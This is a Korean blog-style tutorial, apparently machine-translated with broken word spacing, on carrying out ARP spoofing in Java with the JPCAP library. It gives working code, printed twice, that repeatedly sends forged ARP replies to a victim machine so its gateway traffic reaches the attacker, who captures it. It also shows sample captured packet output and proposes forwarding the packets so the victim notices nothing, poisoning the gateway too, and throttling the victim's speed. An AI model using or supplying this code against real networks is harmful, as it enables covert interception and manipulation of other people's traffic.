JAVA ARP 사기 패키지 수정
14447 단어 자바
ARP 의 구체 적 인 과정 은 IP 를 통 해 원 격 MAC 주 소 를 가 져 와 야 할 때 시스템 이 먼저 ARP 표 에 해당 하 는 IP 주소 가 있 는 지 확인 하고 없 으 면 ARP 방송 을 보 내 는 것 이다.이 MAC 주 소 를 가 진 노드 가 ARP 요청 을 받 을 때 ARP reply 패 키 지 를 만 들 고 ARP 요청 의 소스 노드 로 보 내 는 것 이다.ARP Reply 패키지 에는 목적지 노드 의 MAC 주소 가 포함 되 어 있 습 니 다.원본 노드 에서 이 reply 를 받 아들 이면 목적지 노드 의 MAC 주 소 를 ARP 캐 시 시트 에 저장 하고 다음 에 같은 IP 주 소 를 다시 요청 할 때 시스템 은 ARP 표 에서 목적지 MAC 주 소 를 직접 가 져 옵 니 다.ARP 방송 을 다시 보 내지 않 아 도 됩 니 다.
이 를 보고 ARP 의 구체 적 인 과정 을 대략적으로 설명 하 였 으 니 명확 하 게 설명해 주시 기 바 랍 니 다.마음 이 있 는 친 구 는 ARP 사기 의 원 리 를 고려 하기 시 작 했 을 것 이 라 고 믿 습 니 다.사실은 ARP 표를 이용 하여 ARP 사 기 를 하 는 것 입 니 다.예 를 들 어 랜 내 기계 A 는 게 이 트 웨 이 B 를 통 해 인터넷 연결 을 하고 그의 arp 표 에는 게 이 트 웨 이 B 의 IP 와 MAC 주소 가 저장 되 어 있 습 니 다.다음 과 같 습 니 다.
192.168.1.1 —> MAC 1(그렇게 길 게 쓰기 귀찮아 서 MAC 1 을 MAC 주소 로 했 습 니 다)
그러면 A 가 인터넷 에 접속 하고 싶 을 때 그의 모든 데 이 터 는 게 이 트 웨 이에 먼저 보 내 고 게 이 트 웨 이에 서 전송 된다.그러면 A 의 데 이 터 는 먼저 192.168.1.1 을 통 해 게 이 트 웨 이의 MAC 주소 MAC 1 을 찾 은 다음 에 데 이 터 를 게 이 트 웨 이에 보 낼 수 있다.이때 당신 의 기 계 는 C 입 니 다.MAC 주 소 는 MAC 2 입 니 다.ARP 사 기 를 통 해 A 가 전송 하 는 데 이 터 를 얻 으 려 면 당신 이 해 야 할 일 은 간단 합 니 다.바로 기계 A 의 ARP 표 에서 192.168.1.1 에 대응 하 는 MAC 주소 MAC 1 을 MAC 2 로 바 꾸 면 됩 니 다.이 기계 A 는 192.168.1.1 에 보 낸 모든 데 이 터 를 MAC 주소 가 MAC 2 인 기계,즉 당신 의 기계 에 보 냅 니 다.
APR 표 의 기록 을 바 꾸 려 면 ARP reply 가방 을 기계 A 에 보 내 는 방법 이 있 습 니 다.이 ARP reply 가방 의 소스 IP 는 192.168.1.1 이 고 MAC 주 소 는 MAC 2 입 니 다.기계 A 가 받 아들 이면 이 소스 IP 와 MAC 를 ARP 캐 시 시트 에 새로 고침 하여 원래 의 기록 을 덮어 쓰 면 ARP 사기 의 목적 을 달성 할 수 있 습 니 다.
여기까지 만 말씀 드 리 면 ARP 사기 에 대해 서 아 시 는 지 모 르 겠 습 니 다.더 이상 모 르 면 인터넷 으로 찾 아 보 세 요.인터넷 에는 관련 자료 가 많 습 니 다.자,원리 가 끝나 면 이 루어 질 차례 입 니 다.JAVA 를 통 해 ARP 사 기 를 어떻게 실현 할 수 있 습 니까?
처음부터 끝까지 하 는 건 물론 제 스타일 이 아 닙 니 다.JAVA 커 뮤 니 티 만큼 거대 합 니 다.우리 가 잘 이용 해 야 합 니 다.거인 의 어깨 위 에 서서 성공 해 야 합 니 다.하하.오픈 소스 프로젝트 JPCAP 가 있 습 니 다.이 프로젝트 는 중간 인 터 페 이 스 를 제공 하여 사용자 가 wincap/libpcap 와 같은 라 이브 러 리 를 호출 하여 네트워크 전송 을 제어 할 수 있 도록 합 니 다.구체 적 으로 공식 사이트 에서 문 서 를 볼 수 있 습 니 다.
여기 서 저 는 간단 한 패키지 캡 처 프로그램 을 실 현 했 습 니 다.ARP 사기 원리 에 따라 우리 가 해 야 할 일 은 다음 과 같 습 니 다.
1.ARP Reply 패키지 구축
2.이 가방 을 사기 가 필요 한 기계 에 보 냅 니 다.
public class LocalListener {
private final static String GATE_IP = "192.168.11.1" ;
private final static byte [] GATE_MAC = { 0x00 , 0x0a , ( byte ) 0xc5 ,
0x42 , 0x6e , ( byte ) 0x9a };
private JpcapCaptor jpcap; //
private JpcapSender sender; //
private Packet replyPacket; //ARP reply
private NetworkInterface device; //
private IpMacMap targetIpMacMap; // IP MAC
public LocalListener(IpMacMap target) throws Exception {
NetworkInterface[] devices =JpcapCaptor.getDeviceList();
device = devices[1 ];
this .targetIpMacMap = target;
initSender();
initPacket();
}
private void initSender() throws Exception {
jpcap = JpcapCaptor.openDevice(device, 2000 , false , 10000 ); //
jpcap.setFilter("ip" , true ); // ip
sender = jpcap.getJpcapSenderInstance();
}
private void initPacket() throws Exception {
//reply IP MAC , IP-MAC ARP
IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address);
// ARP
replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd);
// , reply
replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),
device.mac_address);
}
public void listen() throws InterruptedException{
Thread t = new Thread( new Runnable() {
public void run() {
// reply , arp , arp ,
while ( true ){
send();
try {
Thread.sleep(500 );
} catch (InterruptedException ex) {
Logger.getLogger(LocalListener.class .getName()).log(Level.SEVERE, null , ex);
}
}
}
});
t.start();
//
while ( true ){
IPPacket ipPacket = (IPPacket)jpcap.getPacket();
System.out.println(ipPacket);
}
}}
//IP-MAC , IP-MAC
public class IpMacMap {
private String ip;
private byte [] mac;
public IpMacMap(){
}
public IpMacMap(String ip, byte [] mac){
this .ip = ip;
this .mac = mac;
}
public String getIp() {
return ip;
}
public void setIp(String ip) {
this .ip = ip;
}
public byte [] getMac() {
return mac;
}
public void setMac( byte [] mac) {
this .mac = mac;
}
}
//ARP reply , reply
public class ARPPacketGern{
public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{
ARPPacket arpTarget = new ARPPacket();
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; // (Ethernet)
arpTarget.prototype = ARPPacket.PROTOTYPE_IP; // IP
arpTarget.operation = ARPPacket.ARP_REPLY; // REPLY
arpTarget.hlen = 6 ; //MAC 6
arpTarget.plen = 4 ; //IP 4
arpTarget.target_hardaddr = target.getMac();
arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();
arpTarget.sender_hardaddr = sender.getMac();
arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();
return arpTarget;
}
}
// MAC MAC ,
public class EthernetPacketGern{
public static EthernetPacket genPacket( byte [] targetMac, byte [] senderMac) throws Exception {
EthernetPacket ethToTarget = new EthernetPacket(); //
ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //
ethToTarget.dst_mac = targetMac;
ethToTarget.src_mac = senderMac;
return ethToTarget;
}
}
public class LocalListener {
private final static String GATE_IP = "192.168.11.1";
private final static byte[] GATE_MAC = {0x00, 0x0a, (byte) 0xc5,
0x42, 0x6e, (byte) 0x9a};
private JpcapCaptor jpcap;//
private JpcapSender sender; //
private Packet replyPacket;//ARP reply
private NetworkInterface device;//
private IpMacMap targetIpMacMap;// IP MAC
public LocalListener(IpMacMap target) throws Exception {
NetworkInterface[] devices =JpcapCaptor.getDeviceList();
device = devices[1];
this.targetIpMacMap = target;
initSender();
initPacket();
}
private void initSender() throws Exception {
jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //
jpcap.setFilter("ip", true); // ip
sender = jpcap.getJpcapSenderInstance();
}
private void initPacket() throws Exception {
//reply IP MAC , IP-MAC ARP
IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address);
// ARP
replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd);
// , reply
replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),
device.mac_address);
}
public void listen() throws InterruptedException{
Thread t = new Thread(new Runnable() {
public void run() {
// reply , arp , arp ,
while(true){
send();
try {
Thread.sleep(500);
} catch (InterruptedException ex) {
Logger.getLogger(LocalListener.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
});
t.start();
//
while(true){
IPPacket ipPacket = (IPPacket)jpcap.getPacket();
System.out.println(ipPacket);
}
}}
//IP-MAC , IP-MAC
public class IpMacMap {
private String ip;
private byte[] mac;
public IpMacMap(){
}
public IpMacMap(String ip, byte[] mac){
this.ip = ip;
this.mac = mac;
}
public String getIp() {
return ip;
}
public void setIp(String ip) {
this.ip = ip;
}
public byte[] getMac() {
return mac;
}
public void setMac(byte[] mac) {
this.mac = mac;
}
}
//ARP reply , reply
public class ARPPacketGern{
public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{
ARPPacket arpTarget = new ARPPacket();
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; // (Ethernet)
arpTarget.prototype = ARPPacket.PROTOTYPE_IP; // IP
arpTarget.operation = ARPPacket.ARP_REPLY; // REPLY
arpTarget.hlen = 6; //MAC 6
arpTarget.plen = 4; //IP 4
arpTarget.target_hardaddr = target.getMac();
arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();
arpTarget.sender_hardaddr = sender.getMac();
arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();
return arpTarget;
}
}
// MAC MAC ,
public class EthernetPacketGern{
public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception {
EthernetPacket ethToTarget = new EthernetPacket(); //
ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //
ethToTarget.dst_mac = targetMac;
ethToTarget.src_mac = senderMac;
return ethToTarget;
}
}
예 를 들 어 상기 코드 는 IP 192.168.11.4 로 보 내 는 기 계 를 만 드 는 ARP reply 패 키 지 를 실현 했다.그 중에서 reply 패키지 의 소스 IP 는 192.168.11.1 이 고 소스 MAC 는 현재 기계 의 MAC 주소 로 바 뀌 었 다.device.macaddress,이렇게 하면 192.168.11.4 의 기계 가 이 reply 패 키 지 를 받 으 면 ARP 표를 새로 고치 고 192.168.11.1 로 보 내 는 모든 데 이 터 는 현재 프로그램 을 실행 하고 있 는 기계 에 실제 보 냅 니 다.프로그램 에서 reply 패 키 지 를 순환 적 으로 보 내 는 스 레 드 를 만 들 었 습 니 다.주로 ARP 표 가 일정 시간 에 업데이트 되 기 때문에 끊임없이 보 내야 MAC 주소 가 항상 바 뀌 는 것 을 보장 할 수 있 습 니 다.또한 메 인 스 레 드 는 현재 장치 의 모든 IP 패 킷 정 보 를 감청 하고 인쇄 하 는 데 사 용 됩 니 다.원래 이 방법 은 본 컴퓨터 패 킷 의 정보 만 감청 할 수 있 지만 ARP 사 기 를 사 용 했 기 때문에 192.168.11.4 에서 192.168.11.1 로 데 이 터 를 보 낼 때 패 킷 을 캡 처 하고 다음 과 같은 정 보 를 볼 수 있 습 니 다.
1216798614:885583 /192.168.11.4->/61.135.189.33 protocol(6) priority(0) hop(128) offset(0) ident(34922) TCP 1337 > 8016 seq(1062321893) win(65535) S
사실 상례 프로그램 은 192.168.11.4 의 데이터 패 키 지 를 캡 처 하고 감청 할 수 있 지만 실제로 실행 되면 192.168.11.4 의 기계 가 인터넷 에 접속 하지 못 할 것 이다(이 기계 가 192.168.11.1 을 게 이 트 웨 이 로 인터넷 에 접속 한다 고 가정 하면).이것 은 무엇 일 까?
이것 은 바로 이 기계 가 192.168.11.4 의 패 키 지 를 캡 처 했 지만 패 키 지 를 전달 하지 않 았 기 때문에 실제 패 키 지 는 당신 의 기계 에 도착 한 후에 중단 되 어 패 키 지 를 보 낼 수 없습니다.상대방 의 기 계 를 감청 하려 면 당연히 상대방 에 게 알려 서 는 안 됩 니 다.만약 에 당신 이 그 기 계 를 감청 하면 상대방 이 인터넷 에 접속 할 수 없 게 되 고 바보 도 문제 가 있다 는 것 을 알 기 때문에 상기 절 차 는 보충 을 해 야 합 니 다.그것 은 바로 패키지 데 이 터 를 192.168.11.1 로 전송 하 는 것 입 니 다.캡 처 한 가방 을 다시 보 내 면 됩 니 다.구체 적 으로 어떻게 하 는 지 는 여러분 에 게 남 겨 두 는 것 입 니 다.졸 려 요.쉬 었 어 요.친구 가 관심 이 있 고 어떻게 해 야 할 지 생각 이 안 나 면 저 에 게 말씀 해 주세요.필요 하 다 면 다음 에 온전한 예 를 붙 여 주세요.
참,마지막 으로 보충 할 점 이 있 습 니 다.그것 은 바로 우리 가 똑 같은 방식 으로 게 이 트 웨 이 를 갱신 할 수 있 는 ARP 입 니 다.그러면 게 이 트 웨 이 가 받 은 데이터 도 이 컴퓨터 에 의 해 캡 처 되 고 똑 같이 이 기 계 를 통 해 목적 기계 로 전송 하면 됩 니 다.이렇게 하면 상대방 이 정상적으로 인터넷 에 접속 할 수 있 을 뿐만 아니 라 우 리 는 상대방 의 데이터 패 키 지 를 캡 처 할 수 있다.만약 에 속 도 를 제한 하려 면 패 키 지 를 캡 처 하 는 동시에 일정한 시간 을 연장 하 는 것 이다.예 를 들 어 1 초 에 몇 개의 K 데이터 만 통과 할 수 있 고 여기 서 손발 을 할 수 있다.똑 같이 구체 적 으로 어떻게 여러분 에 게 남 겨 야 할 지 알려 주세요.
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
Is Eclipse IDE dying?In 2014 the Eclipse IDE is the leading development environment for Java with a market share of approximately 65%. but ac...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.